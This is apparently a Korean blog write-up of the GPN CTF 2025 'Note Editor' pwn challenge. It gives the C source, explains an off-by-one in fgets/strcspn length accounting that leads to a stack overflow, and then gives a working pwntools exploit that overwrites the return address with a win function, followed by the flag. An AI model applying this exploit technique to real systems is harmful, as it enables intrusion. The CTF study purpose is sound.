CTF/Solved
GPN CTF 2025 - Note Editor
wyv3rn
2025. 6. 22. 09:39
728x90
반응형
1. intro


2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define NOTE_SIZE 1024
struct Note {
char* buffer;
size_t size;
uint32_t budget;
uint32_t pos;
};
typedef struct Note Note;
#define SCANLINE(format, args) \
({ \
char* __scanline_line = NULL; \
size_t __scanline_length = 0; \
getline(&__scanline_line, &__scanline_length, stdin); \
sscanf(__scanline_line, format, args); \
})
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void reset(Note* note) {
memset(note->buffer, 0, note->size);
note->budget = note->size;
note->pos = 0;
}
void append(Note* note) {
printf("Append something to your note (%u bytes left):\n", note->budget);
fgets(note->buffer + note->pos, note->budget, stdin);
uint32_t written = strcspn(note->buffer + note->pos, "\n") + 1;
note->budget -= written;
note->pos += written;
}
void edit(Note* note) {
printf("Give me an offset where you want to start editing: ");
uint32_t offset;
SCANLINE("%u", &offset);
printf("How many bytes do you want to overwrite: ");
int64_t length;
SCANLINE("%ld", &length);
if (offset <= note->pos) {
uint32_t lookback = (note->pos - offset);
if (length <= note->budget + lookback) {
fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte
uint32_t written = strcspn(note->buffer + offset, "\n") + 1;
if (written > lookback) {
note->budget -= written - lookback;
note->pos += written - lookback;
}
}
} else {
printf("Maybe write something there first.\n");
}
}
void truncate(Note* note) {
printf("By how many bytes do you want to truncate?\n");
uint32_t length;
SCANLINE("%u", &length);
if (length > note->pos) {
printf("You did not write that much, yet.\n");
} else {
note->pos -= length;
memset(note->buffer + note->pos, 0, length);
note->budget += length;
}
}
uint32_t menu() {
uint32_t choice;
printf(
"Choose your action:\n"
"1. Reset note\n"
"2. View current note\n"
"3. Append line to note\n"
"4. Edit line at offset\n"
"5. Truncate note\n"
"6. Quit\n"
);
SCANLINE("%u", &choice);
return choice;
}
int main() {
Note note;
char buffer[NOTE_SIZE];
note = (Note) {
.buffer = buffer,
.size = sizeof(buffer),
.pos = 0,
.budget = sizeof(buffer)
};
setup();
reset(¬e);
printf("Welcome to the terminal note editor as a service.\n");
while (1)
{
uint32_t choice = menu();
switch (choice)
{
case 1:
reset(¬e);
break;
case 2:
printf("Current note content:\n\"\"\"\n");
puts(note.buffer);
printf("\"\"\"\n");
break;
case 3:
append(¬e);
break;
case 4:
edit(¬e);
break;
case 5:
truncate(¬e);
break;
case 6: // fall trough to exit
printf("Bye\n");
return 0;
default:
printf("Exiting due to error or invalid action.\n");
exit(1);
}
}
}
2.2. 분석
note 구조체는 buffer, size, budget, pos로 구성되어있고, buffer는 1024 byte이다.
1. 초기화
2. buffer 내용 보기
3. buffer에 내용 추가
4. buffer 내용 수정
5. buffer 내용 삭제
로 메뉴가 구성되어있다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
off by one
3.2. 공격 준비
문자열을 입력 받을 때 fgets로 받으며, \n까지 함께 buffer에 저장되기에 strcspn으로 입력된 길이를 확인할 때 +1을 더해준다.
따라서 내가 "A"만 입력하더라도 실제로는 "A\n"이 입력되어 2 byte로 고려한다.
이로인해 edit 시 시작점을 지정할 때 \n의 위치를 선택할 수 있으며, 수정할 값 또한 뒤에 \n이 삽입되기 때문에 1024 + 1 byte 입력이 가능해지며, 이는 note 구조체의 buffer address의 마지막 1byte를 변조할 수 있다.
또한 이는 edit 함수의 written 값에도 영향을 주기에 budget 값이 음수가 되어 buffer의 size가 매우 큰 것으로 인식하게 만들기 때문에 다시 edit 시 bof가 가능해진다.
4. exploit
from pwn import *
#debug = True
debug = False
path = './chall'
elf = ELF(path)
libc = elf.libc
if debug == True:
io = process([path])#, env={"LD_PRELOAD":""})
elf = ELF(path)
else:
io = remote("goldencourt-of-cosmically-prosperity.gpn23.ctf.kitctf.de", "443", ssl=True)
context.log_level = 'debug'
script ='''
'''
def view():
io.sendlineafter(b'Quit\n',b'2')
def appd(inp):
io.sendlineafter(b'Quit\n',b'3')
io.sendlineafter(b'left):\n',str(inp).encode())
def edit(off,leng,inp):
io.sendlineafter(b'Quit\n',b'4')
io.sendlineafter(b'editing: ',str(off).encode())
io.sendlineafter(b'write: ',str(leng).encode())
io.sendline(str(inp).encode())
def trun(loc):
io.sendlineafter(b'Quit\n',b'5')
io.sendlineafter(b'truncate?\n',str(loc).encode())
def hexmsg(name, val):
info(f"{name} = {hex(val)}")
def main():
#gdb.attach(io, script)
#libc.sym["system"]
#libc.search(b'/bin/sh').__next__()
win = 0x401221
appd(' '*1024 + '2')
edit(1023,1,'A')
io.sendlineafter(b'Quit\n',b'4')
io.sendlineafter(b'editing: ', b'6')
io.sendlineafter(b'write: ', b'80')
io.sendline(p64(win)*9)
io.interactive()
return
if __name__ == "__main__":
main()
#GPNCTF{NOW_y0u_SurElY_ArE_reADy_To_PWn_l4dYBiRD!}
728x90
반응형